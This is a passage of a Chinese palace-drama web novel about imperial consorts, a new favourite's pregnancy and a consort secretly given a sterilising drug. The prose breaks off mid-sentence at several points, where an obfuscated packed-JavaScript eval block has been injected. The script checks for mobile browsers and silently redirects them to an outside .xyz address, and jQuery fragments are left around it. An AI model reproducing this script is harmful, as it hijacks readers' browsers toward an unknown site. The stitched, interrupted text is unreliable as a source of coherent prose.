可是奇怪的是,如今的萧祈安对于夏韶宁这番举动居然完全不感到生气了。他甚至觉得,夏韶宁是因为太过在乎他,怕失去他的宠爱,才会想办法帮着这些新来的年轻的宫妃在他的面前露脸。 他的心中忽然就有了一丝难以说明的自豪感和成就感。 想到这里,萧祈安便自然而然地牵起了孟才人的手,亲自将她安置在了自己下首一点的座位上。 这番举动,让在场的所有宫妃们的脸色,瞬间就变了。 太后冷眼看着眼前发生的一切,哪里还会不明白这昭贵妃处心积虑弄出这么大的举动是为什么。她皱了皱眉头刚想开口说话,却被身边的梅青姑姑死死地拉住了。 “太后,圣上今日很高兴,您别和他对着来。” 只这一句话,刚想开口的太后瞬间就决定闭嘴了。 反正在后宫里,不是今日你得宠,就是明日她得宠。只要不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471053|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独独哪一个女人得宠,她这个做母后的倒是没必要去干涉了。 就这样,一番插曲之后,除夕宫宴继续进行。 …… 因为有了孟才人在除夕宫宴上那惊艳一舞,当天晚上,萧祈安自然将她留在了紫宸殿。 而让所有人都没想到的是,孟才人侍寝过后才不过三天,萧祈安直接就将她恢复成了一开始美人的位份,而且还赐了她封号——“丽”。 她现在已经是丽美人了。 要知道在如今的后宫里,除了多少年都盛宠不衰的贵妃娘娘,以及家世颇高的淑妃和德妃有封号外,其他诸如生下皇长子的贤妃,都没有封号。 而孟南汐一个美人,居然能在首次侍寝后就成功晋位还能得了封号,足以见萧祈安对她有多满意。 唐贤妃和林宝林就这样看着紫宸殿的宫人一大早就开始往丽美人的露华阁一趟一趟送着赏赐,真真是恨不得把自己的后槽牙都给咬碎了! 而如今的丽美人,已经成**会不被这些不值得的人影响自己的情绪。她先是吩咐好花影将圣上赏下来的东西全都登记好全部锁进库房,然后便直接无视站在她身旁的唐贤妃和林宝林,带着花影就出了华清宫。 “你这蹄子,大正月的你去哪儿,你……” 看着丽美人就这样无视了自己,唐贤妃气得就要冲出去拦住她,不想却被一旁的林宝林死死拉住了。 “贤妃娘娘!如今她正得宠,您可别和她对着来啊!之前您那般对她,若是她侍寝时在圣上面前告您一状……”说到这儿,林宝林便不敢出声了。 “好啊,算她厉害!日日在本宫的眼皮子底下,还能和夏韶宁勾搭上!厉害,厉害啊!” 听得林宝林的分析,唐贤妃虽然生气,但是还是生生忍了下来。 她盯着丽美人离开的地方看了很久,忽然就将目光转到了林宝林的身上。 “你长得也不差,比她还小一岁!她能得宠,你怎么不能了!你附耳过来,本宫给你出个主意……” 第224章 更爱自己 承乾宫。 夏韶宁坐在上首,辛夷正跪在下首给她请一月一次的平安脉。 “贵妃娘娘身体康健,大概因为之前生六皇子的时候月子坐得好,之前气血虚弱的毛病如今倒是改善了不少。” 辛夷收了覆在夏韶宁手腕上的丝帕,从地上站了起来。 “昀儿这孩子乖,我怀他生他都没吃太大的苦头。月子里又有那么多人伺候我,身子养得好也不稀奇。”夏韶宁将衣袖放了下来,说话的语气倒是听不出什么其他的情绪。 “身子养好了是好事儿呢,说不准明年娘娘能给六皇子再添个弟弟妹妹呢?” 眼见着夏韶宁情绪不高,辛夷便打趣着说道。 “嗯,既然今日你说到这件事儿了,我的确有件事情要拜托你。” 夏韶宁朝着蕙心使了个眼色,蕙心便将殿内其他伺候的人带了下去。 “我不打算再生孩子了。”殿内的人一离开,夏韶宁直接就对着辛夷开门见山道。 “娘娘,您认真的吗?”辛夷没想到夏韶宁要对她说的居然是这件事。 “生而为人本就很苦,生下一个与我血脉相连的孩子,这辈子能体验一番做母亲的苦与乐,于我来说已经足够了。” “而且,你本就在宫里当差,不可能没有听到风声。圣上如今的确还宠着我与昀儿,但是他的心已经不仅仅在我这里了。” 夏韶宁抬头看了看辛夷,面上的神色十分平静。 听得夏韶宁的话,辛夷不禁想到最近宫里传出的那些风言风语。 一会儿又说纯德妃宠冠六宫无人能敌了,一会儿又说丽美人容貌绝色圣上爱惨了……反正各种各样的传言都有,倒是让人分不清真假。 “所以,娘娘也是因为对圣上失望了,这才不想再继续生孩子了吗?”辛夷问道。 “并不是。”听得辛夷的疑问,夏韶宁半分都没有犹豫,立刻摇了摇头。 “你是我的人,所以我对你说话也不用遮遮掩掩的。其实圣上喜欢谁宠着谁我一点儿都不在意,我如今唯一在意的就是我不希望有人能超越我在宫里的位份,挡住我孩子未来的路。” 这话说得已经很直白了,也就是对着一心为了自己的辛夷,夏韶宁才能将心里话说得这样毫无保留。 “生孩子这件事情,说难听一点那就是一脚踏入鬼门关的事,我自认为圣上此人并不值得我为了他一次又一次的去冒这样的风险。与他相比,我更爱我自己。” 夏韶宁这话说得干净利落,一丝扭扭捏捏都没有。于是辛夷便彻底明白娘娘为何不愿意继续生孩子了。 “娘娘之前吃的药方,我还一直保留着。若是您需要,我可继续将那药做成丸剂,方便您日常使用。”辛夷道。 “我之前用那药是因为我还想生孩子,如今我已经不想继续生孩子了,所以你那药方也可以改一改了。” “那丸剂日日的用难免容易留下把柄,万一日后被人发现定会成为扳倒我的机会。所以……” 说到这儿,夏韶宁的脸上忽然出现了一丝决绝的神情。 “你直接下一味重药吧,服用半年或者一年,以后若是不服也不会有孕了。如此来说,对我正好。” “这话是不错,只是用了重药难免对娘娘的身体有伤害,您……当真要这么不给自己留后路吗?”辛夷到底有些不忍道。 “只要别直接要了我的命,对身体有些伤害都无妨。”说到这儿,夏韶宁忽然想到了六皇子那张可爱的脸,忍不住笑了,“我还得留着这条命,好好活着。看着我的昀儿长大,成家立业生子,这辈子才叫圆满了。” 看着夏韶宁这般样子,辛夷便明白娘娘这是已经决定了。于是她便不再继续试图劝说了,只是朝着夏韶宁重重的点了点头。 两人正说着话,却瞧见守在外殿的蕙心忽然径直朝着夏韶宁走了过来,随即对着她小声道,“娘娘,丽美人来了。” “嗯,让她在外头等着,我一会儿就出来。” 夏韶宁点了点头,示意她知道了。看见有人来了,辛夷便也转身离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471054|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 同心殿外。 “这还在正月里呢,你怎么也不在宫里好好歇着呢?” 夏韶宁从内殿里走了出来,便瞧见丽美人正端端正正地站在下首。 看见她出来,立刻就跪下朝她行起礼来,“给昭贵妃娘娘请安。” “本来侍寝第二日臣妾就该来拜见娘娘的,只是第二日刚好是初一,想着娘娘定会很忙,这才耽搁了。” 这会儿的丽美人,早就没了之前那般畏畏缩缩的样子。夏韶宁瞧着她如今这红光满面,昂首挺胸的样子,倒真是像极了皇帝的宠妃模样。 “你如今瞧着倒是同之前不同了。”夏韶宁上下打量了她好一会儿,这才笑着道,“看来恩宠真的能让一个胆小如鼠的人变得胆大起来啊。” “娘娘别笑话臣妾了,什么恩宠不恩宠,臣妾如今拥有的一切,都是娘娘的恩赐。若是没有娘娘的提点和引荐,臣妾如今怕是还整日里躲在露华阁里掉眼泪,被贤妃和林宝林狠狠欺负呢!” 听得夏韶宁的打趣,丽美人立刻开口朝着她解释道。 “臣妾身无所长,也没什么能拿得出手的东西能送给娘娘,唯有一手女红还算可以。” 说到这儿,她便对着花影摆了摆手,便见着花影恭恭敬敬地端了个做工精美的锦盒上来。 “这里头是臣妾为六皇子做的几套小衣裳,娘娘若是不嫌弃,便收下吧!” 看着眼前的锦盒,夏韶宁倒是有些好奇,也没让人接下,直接自己亲手就将锦盒打开了。 “这哪儿是几件小衣服啊,这里衣外裳、鞋子袜子,帽子围兜一应俱全,这上头绣的小老虎更是一只赛一只的栩栩如生。这哪里还叫不好?本宫瞧你可真是太谦虚了!” 夏韶宁打开锦盒,看着里头码得整整齐齐的几套衣裳,惊喜的一双眼睛都忍不住瞪大了。 “本宫的绣功……说实话那还真的不敢恭维,尚衣局做的衣裳有时候又没法让本宫满意,如今你送了这些衣裳来,还真是解了本宫的燃眉之急了!” 第225章 有福之人 其实夏韶宁这话说得是有些夸张了。 她如今已经位至贵妃,想要什么东西只需动动嘴,再好的东西用不到一个时辰就自然有人会主动送到她的面前。 丽美人虽然胆小,但是脑子却是聪明的。她未必听不出贵妃娘娘这话是特意说给她听的,只是她并不反感,甚至有些开心娘娘能这般同她说话。 因为在她看来,这就代表着贵妃娘娘这是真正把她当做自己人了。 “贵妃娘娘不嫌弃臣妾手艺差,肯替六皇子收下这份礼物,臣妾心里就已经很开心了。” 眼见着夏韶宁让惜春将锦盒接过了,丽美人这才仰起脸来对着夏韶宁甜甜地笑了。 “圣上喜欢你,你就好好伺候他。本宫可以给你机会,但是这宠爱能不能握得住,能握住多久,这些都得靠你自己。” “但是只一点你要记住,本宫不喜欢这宫里有人独宠,你明白吗?” 夏韶宁看着丽美人的笑脸,说话的语气与刚才相比倒是严厉了不少。 “娘娘放心吧,臣妾都明白。”这会儿的丽美人,并没有觉得夏韶宁这话冒犯了自己,相反的,她很欣赏贵妃娘娘对待事情果决的态度。 自从她莫名失宠又骤然得宠以后,她才终于明白了一个道理:在这宫里,真心不重要,只有真的踏踏实实握在自己手里的东西,才是最重要的。 *** 自除夕那夜萧祈安宠幸了丽美人以后,整个正月里,萧祈安不过进了七八次后宫,有一半时间都宿在了丽美人的露华阁。 正月一过,宫中所有的事务便都渐渐恢复了正常,众妃也重新恢复了每月初一十五要去承乾宫向夏韶宁请安的日子。 二月初一,承乾宫。 “这都什么时候了,怎么还不见纯德妃来向贵妃娘娘请安呢?”谢充仪往门口望了好一会儿,仍旧没有瞧见纯德妃的身影。 “不必等了,纯德妃身边的大宫女一大早就来承乾宫向本宫告过假了,说她们家娘娘身子不适,今日不能来请安了。” 说着话,便见夏韶宁从内殿面无表情地走了出来,径直坐到了上首的位置上。 “哟,圣上不过几日没去她宫里,这就病了?这病来得也太及时了吧?” 听得夏韶宁的话,唐贤妃立刻出声开始嘲讽。 “人吃五谷杂粮,哪有不生病的呢?贤妃妹妹这话说得未免太苛刻了些。”仪淑妃看一眼唐贤妃,话倒是说得很善解人意。 “说起来也是,臣妾好像真的有好几天都没见过纯德妃娘娘出过无忧殿的门了。”说到这里,与纯德妃同住未央宫的何才人也忍不住插了一嘴。 “李顺,一会儿请安结束,你就去太医院请太医令去未央宫给纯德妃看看。生病不是小事儿,这几日也没见她宫里的人请太医,可别拖出什么好歹来。” 听得众人的话,夏韶宁心中便也觉得有些奇怪,于是便对着站在一旁的李顺吩咐了一声。 “这说起来还是丽美人的福气好啊,除夕夜那一舞,可不是直接就舞到了圣上心里。” 殿内安静了一会儿,便见着范充媛出声了。 “哼,什么福气好,本宫瞧她就是一股子狐媚子劲没地方发,偏偏圣上还真就叫她给唬住了。” 唐贤妃有些不屑地瞥了坐在后头的丽美人一眼,那面上的表情更是好像看到了什么脏东西般嫌恶的不得了。 “贤妃娘娘谬赞,既然您也说了圣上还真叫臣妾给唬住了,那就说明圣上他喜欢臣妾这一款。贤妃娘娘您若是愿意,臣妾倒是不愿藏私,等回了华清宫,臣妾再慢慢教您呢!” 俗话说兔子急了还咬人呢,这唐贤妃一而再再而三地当众不给丽美人脸面,如今人家今时不同往日了,才不会处处退让呢! “你这蹄子说的什么胡话?本宫需要和你学这些上不得台面的东西吗?你若是再敢如此同本宫说话,信不信本宫……” 这厢的唐贤妃听得丽美人的话,早就已经气得不行了。只是她狠话还没放完,忽然见着刚刚还冷笑着看着她的丽美人,捂着嘴就冲出了殿外! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477506|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一举动,让在场的所有人都呆住了。 夏韶宁盯着站在殿外干呕不止的丽美人,心里忽然就好似明白了什么。 “兰芷,你去一趟太医院,看看辛夷今日是否当值。若是她当值,让她尽快来一趟承乾宫。” 就在夏韶宁悄悄地对着兰芷耳语完以后,干呕完了的丽美人便满脸苍白地回到了殿内。 只见她一入了殿,便着急忙慌地对着夏韶宁就跪了下来。 “贵妃娘娘恕罪,臣妾最近也不知怎么了,总觉得胃中不适,控制不住地想干呕,也不知是不是胃疾又犯了……” “丽美人有胃疾?”听得丽美人的话,苏修仪倒是有些奇怪地摇了摇头,“可是你这症状同我怀二皇子的时候一模一样,你该不会是……有喜了吧?” 一席话落,在场本就脸色不好看的众妃,面上的神色更是耐人寻味了起来。 “丽美人你先起来吧,本宫刚刚已经让兰芷去请太医院请辛夷来了。无论是胃疾还是有孕,身体不适总该找太医看看。” 夏韶宁对着丽美人摆了摆手,花影便立刻将她扶了起来。 且说辛夷听得夏韶宁寻她,便立刻放下手头上的事情赶到了承乾宫。听得夏韶宁的简单描述之后,辛夷便立刻替丽美人诊起脉来。 这个时候,在场的所有人都紧紧盯着丽美人那被丝帕覆盖着的手腕,都盼望着从辛夷的口中听到一句让所有人都满意的话。 只可惜,天到底不遂有些人的愿。辛夷不过略略替丽美人把了一会儿脉,便立刻转头对着夏韶宁恭敬道,“回禀贵妃娘娘,丽美人有喜了,腹中胎儿已经月余了。” “嗯,如此算来,倒是对得上时间。”其实对于辛夷的话,夏韶宁并没有觉得很意外。 毕竟如今的萧祈安不过也才二十六岁,正是年轻力壮的好时候。而丽美人的年纪就更小了,能怀上孩子,那是再正常不过的事了。 “看来范充媛有一句话说得很对,这丽美人,还当真是个有福之人啊!” 第226章 不必担心 露华阁。 丽美人靠在床头,有些惶恐不安地看着坐在自己床前的夏韶宁。 “辛夷刚刚给你诊脉,说你身子虚得很。如今有孕了,为了孩子更该好好养身子了,来,把药喝了。” 夏韶宁端起药碗递给了候在一旁的花影,直看到花影伺候丽美人将药都喝完了,她才将目光收了回来。 “臣妾哪里有资格让娘娘在这守着臣妾呢?”看着夏韶宁面上不似假意的关心,丽美人挣扎着就要从床上爬起来给她行礼。 “行了,本宫拿你当自己人,你不要在本宫面前这样矫情,本宫不喜欢。”不知为何,看着丽美人的样子,夏韶宁总会想起家中那个性子同样软弱的小妹夏韶冉。 大概是因为这个原因,夏韶宁哪怕一开始的确是想要利用丽美人,如今也不妨碍她偶尔在丽美人面前露出自己的真心。 “娘娘,臣妾真的不知道为何这么快就有孕了,若是您不喜欢,这个孩子……” 夏韶宁话虽然是这么说了,但是站在丽美人的角度上,她对于眼前这个贵不可言的贵妃娘娘,还是觉得有些惶恐。 毕竟是她一手将自己捧上去的,若是她不希望自己现在有孕,自己这个孩子十成十活不了。 “你说什么呢?你怎么会有这种荒谬的想法?”听得丽美人这番惴惴不安的话,夏韶宁都给她气笑了。 “孩子选择你当母亲,这就是与你的缘分!你可别说出什么不要他/她的话,孩子可小气着呢,不吉利。” 说到这儿,夏韶宁顺手就拉住了丽美人那双冰凉的手。 “本宫这人,的确算不上什么很好的人。只是自本宫嫁给圣上以后,本宫就有自己的底线,那就是不害孩子,也极度痛恨害孩子的人。” “你如今有孕,唐贤妃本就看不惯你,看来这华清宫你是住不得了……” “什么住不得了?” 夏韶宁正拉着丽美人同她说话,冷不防便听得身后传来一阵熟悉的声音。一回头,果然瞧见萧祈安风尘仆仆地走了进来。 两人的脸色微不可闻地变了。 “怎么,朕会**不成,你们两个怎么这种表情?”看着夏韶宁和丽美人的样子,萧祈安倒是从心里觉得有些奇怪,“你们刚刚说什么呢?什么住不得了?” “嗨,这不是臣妾在同丽美人说,她身子不好,如今又有了身孕,这露华阁里一日十二个时辰有大半的时间都晒不着太阳,可不是住不得了!” 听得萧祈安的疑问,夏韶宁立刻急中生智地找了个理由圆了过去。 “嗯,朕瞧着也是,这阁子里阴森森的,的确不适合有孕之人居住了。” 萧祈安瞥了一眼丽美人,见她脸色苍白,面上一丝血色都无,忍不住皱起了眉头。 “身子不好就好生听太医的话,开的药要记得吃。”他顿了顿,随即转头对着夏韶宁用商量的语气道,“这样吧,丽美人这胎还是让辛夷照看着,宁儿觉得如何?” 萧祈安这话倒是正中夏韶宁的下怀,她还正有此意呢。 “陛下考虑得周到,臣妾也觉得很好,只是丽美人这住处……” “这样吧,有孕之人需要清净,如今也就是永安宫还空着呢,就让她搬到永安宫的百花轩去吧。” 萧祈安略略思考了一会儿,便做了决定。 “陛下为丽美人考虑得这样周到,臣妾都有些嫉妒了呢!丽美人,你还不谢过陛下。”夏韶宁开玩笑道。 其实夏韶宁对萧祈安这个决定是很满意的,她原本考虑的也是让丽美人搬到如今尚无人居住的永安宫去养胎的。 永安宫虽然偏僻,但是胜在那宫中没有其他人居住。以后自己若是要照看着丽美人,倒是不用担心隔墙有耳了。 “臣妾谢过陛下,谢过贵妃娘娘!”听得夏韶宁的提醒,丽美人忙准备下地要向萧祈安行礼谢恩。 “行了不用行礼了,你好好休息着。”萧祈安伸出手来按住了丽美人,随即又对夏韶宁道,“丽美人的胎以及迁宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这一天,后宫里的宫妃们可以在御花园里赏花、作诗,迎接春日的到来。 承乾宫。 “娘娘,这百花节的座位大概就是这么排的,您看看还有什么需要更改的吗?” 苏修仪拿着一张写着后宫宫妃位份的册子,递给了夏韶宁。 “嗯……在上首给圣上单设一个位置吧。”夏韶宁瞥了一眼册子,回了一声。 “圣上今年也会来吗?”听得夏韶宁的话,坐在一旁的谢充仪显得有些意外,“这百花节一向不都是后宫宫妃们参与的吗?” “圣上前几日同本宫说,今年宫里新进了这么多姐妹,他便去略坐坐,也算是给这后宫众人一个面子了。” 说到这儿,夏韶宁便微不可闻地笑了。 “咱们这位圣上当初在潜邸的时候就是个端水大师,一般这种不需要耗费什么精力就能得到回报的事情,他当然爱做。” “娘娘说的是啊,若是后宫的宫妃们知道今年的百花节圣上也会去,到时候还不知道要使出多少方法来吸引圣上注意呢!”谢充仪拿起帕子捂了捂嘴,面上倒是没什么表情。 “对了,纯德妃的位置打个问号,她自出了正月以来那病一直反反复复的,也不知道那日能不能来。” “还有,把丽美人的位置与唐贤妃隔开,她这胎都还没坐稳,别因为一场宴会出了什么意外。到时候圣上怪罪下来,咱们可担待不起。” 夏韶宁伸出手来指了指苏修仪手中的册子,苏修仪会意,急忙提笔修改起来。 …… 时间一转眼就到了三月初三,百花节的这天。 夏韶宁今日穿得倒是十分的素雅,用她的话说就是——赏花赏花,花才是今日的主角,她当然不能抢了花的风头。 一番梳洗打扮下来,当她赶到御花园的时候,后宫众人都已经到了。 夏韶宁环顾四周,果真发现今日后宫的众人还真是一个个人比花娇啊!就连已经许久不主动出现在众人面前的沈婕妤和吴美人,都十分刻意地将自己打扮了一番。 “圣上到!” 夏韶宁刚坐定,便听得耳边出来了张全和唱报的声音。于是她便立刻随着众人一道起身给萧祈安请安。 “都起来吧,今日是你们女子间的宴会,你们自在玩着就好。朕只是今日正好无事,便来看看。” 萧祈安对着众人摆了摆,大家便都站了起来。 “嗯?怎么不见纯德妃?”众人坐定,萧祈安朝着下首看了看,发现纯德妃并不在其中。 “回陛下,纯德妃身子不适,今日来不了了。”听得萧祈安的问话,夏韶宁忙站起身来回答道。 “哎,这纯德妃也不知怎么了,太医都说了她这身体也没什么大事,可是这病怎么一直就好不了呢?” 想到上一次去未央宫看纯德妃时她那张白得似纸的脸,萧祈安只得重重地叹了一口气。 “陛下别急,臣妾想着如今春天到了,天气也暖和了,德妃妹妹的病多半也该好起来了。” 眼见着萧祈安一直叹气,仪淑妃便微笑着开口安慰他道。 “要不贵妃总说你的嘴甜呢,这整个后宫里就数你最会说话了。”萧祈安看了一眼笑得温婉的仪淑妃,夸奖的话倒是一点儿不吝啬。 夏韶宁就坐在位置上,看着萧祈安对着他的妃子们一个个地都夸了一遍,心中想着封他当个端水大师,还真是没封错呢! 寒暄了好一会儿,萧祈安这才终于开口道,“行了,你们别都光顾着和朕说话了,该干嘛就干嘛去吧!” 就在萧祈安话音刚刚落下,他也准备起身离开的时候,众人的耳边忽然就传来了一阵琴声。 只是这琴声并不悦耳,甚至能称得上是……刺耳。 萧祈安驻足听了一会儿,眉头瞬间就皱了起来。 “李顺,你去瞧瞧怎么回事儿?” 萧祈安同后宫的女人们聊了什么,夏韶宁并不在意。只是若是真有人在她筹办的宴会上搞事情,她是万万不会放过的。 就在李顺得了夏韶宁的吩咐准备去后头查看一下到底出了什么事儿的时候,那琴声却忽然停了下来。 众人一抬头,却忽然瞧见不远处的桃花林中,有一个身着白衣的女子正在翩翩起舞。 虽然隔得有些距离,夏韶宁也看不清那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完对林宝林的处罚,萧祈安还不忘站起身来对着站在后头的宫妃们语气严厉道,“朕不反对你们争宠,但是要想争宠也该用点心!以后谁在拿这种乱七八糟的东西来糊弄朕,把朕当傻子,朕绝不轻饶!” 第228章 有病还是没病 林宝林闹出的这场笑话足足在宫里传了半个月。那段时间后宫里不管是主子还是宫人们,但凡见面都得提一嘴这件事,彼此聊到最后都是笑得合不拢嘴。 夏韶宁当然知道宫人们私底下一直在讨论这件事,她表面上虽然严厉地表示禁止再继续谈论,但是私下里压根就没插手此事。 既然唐贤妃和林宝林这么喜欢搞事,那就让她们多成为这大容后宫里的笑料几天吧。 她倒是乐得清净了。 只是这清净的日子也没过几天,纯德妃那儿,又出事儿了。 “娘娘,张公公来了,说圣上让您即刻去一趟未央宫。” 蕙心从外殿进来的时候,夏韶宁正在喂六皇子吃米糊。 小家伙如今已经八个月了,正是对什么都好奇的时候,米糊吃了一半就不爱吃了,这会儿正伸手去玩呢。眼见着已经玩得满身满脸都是了,夏韶宁倒是也没阻止。 “奶娘,把六皇子抱下去换身衣裳。本宫去一趟未央宫,晚些时候回来给他做鸡蛋羹吃。” 夏韶宁将六皇子抱起来拍了拍他的脸,小家伙便立刻爬到她的身上在她脸上亲了一口。眼见得逞,这会儿正流着口水“咯咯咯”地笑了起来。 “你这小坏蛋!”夏韶宁有些无奈地摸了摸脸,发现脸上也被粘上了米糊,便有些无奈地对着蕙心道,“你去外头同张全和说一声,就说我换身衣裳就去。” 未央宫。 因为耽误了些时候,夏韶宁赶到未央宫的时候,萧祈安已经坐在纯德妃的床前很久了。 夏韶宁敛了神情走了进去,正准备跪下给萧祈安请安,却被他一把拉了起来。 “宁儿,朕如今真的没有别的办法了。” 萧祈安皱着眉头看了一眼躺在床上一直别过脸不肯看他的纯德妃,语气里全都是无奈。 “纯德妃这病来得蹊跷,太医院的所有太医挨个给她看了个遍也找不出她到底是出了什么问题。只是她的身子一直也不见好,朕才觉得奇怪。” “你是公孙大夫的徒弟,所以朕才想着……让你给她看看。” 听得萧祈安这番话,夏韶宁探过头去看了一眼如今正躺在床上瞪大眼睛也不肯说话的纯德妃,心里似乎有些猜测,只是却也不敢确定。 “陛下,要么您先去外头等吧,臣妾有些话想单独同纯德妃说。” 夏韶宁一边对着萧祈安说话,一边观察着纯德妃的神情。果然,听得夏韶宁这番话,刚刚还扭过头不肯看一眼萧祈安的纯德妃,居然开口说话了。 “陛下,您先出去吧,正好臣妾也有些话想同贵妃娘娘说。” 听得眼前两个女人都要求自己出去,虽然萧祈安心中有那么些不痛快,但是他还是同意了。 “朕就在外殿,有事儿让宫人来通报。” 说完,他便转头走了出去。 一时间,殿内便只剩下了躺在床上的纯德妃,和坐在她床前的夏韶宁。 夏韶宁先是看了纯德妃一眼,见她似乎并没有想要开口的意思,于是她也决定先不说话了。 她只是伸出手来搭上了纯德妃的手腕给她把起脉来,而纯德妃似乎也并没有拒绝的意思。 而夏韶宁这一把脉,忽然就把出了一丝异样。 这纯德妃的脉象并没有任何问题,甚至比她一个偷偷服用绝子药的人身体还要健康。而在件事情怪就怪在……纯德妃的脉象同她这个正在服用绝子药的人的脉象……一模一样! 夏韶宁的脸色瞬间就变了。 “宫里的人都说,贵妃娘娘师从大容最有名的神医公孙信。您今日给臣妾把脉,可把出了什么异样?” 纯德妃躺在床上,脸上带着一丝玩味的神色看着夏韶宁。 “恕本宫才疏学浅,纯德妃如今的脉象似乎并没有什么问题,按理来说你是常年习武之人,你的身体应该比本宫都要好才对。” 夏韶宁抬头看了一眼一脸戏谑神色的纯德妃,面无表情地就将把脉的那只手收了回来。 “你说对了,我的确没病。我的病一直不好,是因为御膳房送来的一日三餐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如何了?”眼见着夏韶宁出来,萧祈安便立刻从椅子上站了起来。 夏韶宁抬起头来看了一眼面上明显十分焦急的萧祈安,忽然之间就觉得自己有些看不懂这个男人了。 她不知道如今这个男人这般焦急,到底是因为过于担心纯德妃的病情,还是因为害怕纯德妃就这样病逝从而影响到他与傅赟将军之间这唯一的联系。 夏韶宁刚刚替纯德妃把脉的时候,能够很明显把出她体内绝子药的剂量已经不低了。大概推算一下,应该是从去年十月她刚刚入宫不久后就被人下了药。 在这后宫里能够这样迅速且神不知鬼不觉地给一个高位妃子下绝子药,除了夏韶宁这种自己自愿服下的,那就只剩下唯一一种可能了。 这药就是萧祈安吩咐人给纯德妃下的!他根本就不希望纯德妃生下孩子! 这绝子药的成分其实是有些复杂的,夏韶宁之所以能够把出,很大原因是她师从公孙信这种非正统医学世家出生的大夫。 但凡换做宫里这些正经太医,他们未必能够把出纯德妃的脉象有什么不同。 所以萧祈安才这般光明正大地让她来替纯德妃看病。这是打量着不想让任何人知道这个秘密啊! 这般发现瞬间让夏韶宁觉得后背发凉。明明是三月份的天气,她甚至觉得自己的后背已经密密麻麻地布满汗了。 “你的脸色怎么这样差?纯德妃是不是和你说了什么不该说的话?” 眼见着夏韶宁一直不出声,只是脸色却忽然变得有些白,萧祈安的面上也忍不住浮现出了一丝疑惑的神情。 意识到自己的表现似乎太过明显,夏韶宁这才渐渐恢复了之前的样子。 “无事,臣妾只是觉得有些累。”夏韶宁往一旁挪了挪,悄无声息地避开了萧祈安伸过来拉住他的手。 “不知道陛下还记不记得,当初孝端皇后是如何病逝的?”稳了稳心神,夏韶宁紧接着出声了。 很显然,萧祈安没想过夏韶宁为何好端端地会提起孝端皇后。听得她的话,他很明显地就愣住了。 “难不成……纯德妃的病和当初萧端皇后是同一种?” 沉默了好一会儿,萧祈安才有些不确定的出声了。 “是也不是。”夏韶宁摇了摇头,“臣妾诊得纯德妃的思绪过重,有些气血两虚。就是不知这得的到底是身体上的毛病,还是……心病?” 夏韶宁这番话说得已经很直白了,萧祈安一下子就听明白了。 只是听明白了与要如何做又是两回事,所以这会儿他只是皱着眉头站在原地,并不言语。 “陛下要臣妾给纯德妃诊病,臣妾已经诊完了。若是没有旁的事儿,昀儿还在承乾宫等着臣妾,臣妾这就先回宫去了。” 这会儿的夏韶宁实在是不愿意继续掺和到萧祈安和纯德妃这些所谓的爱恨情仇、恩恩怨怨里头去。在她看来,好好的日子不过,去折腾自己让一个男人心疼愧疚,实在是蠢得不能再蠢了。 她可不是纯德妃那种恋爱脑,她夏韶宁做不出这种莫名其妙的事情来。 “好,朕明白了。”萧祈安这会儿正心烦着,着实也没空去顾及此时的夏韶宁在想什么。见她要走,他便也只是略带烦躁地挥了挥手,想了好一会儿,还是抬脚往内殿去了。 …… 夏韶宁回到承乾宫的时候,六皇子还没有睡,这会儿正坐在夏韶宁特意让人给他做的大块羊绒地毯上玩用木块做成的简易积木。 很明显,这也是夏韶宁让人特意给他做的。 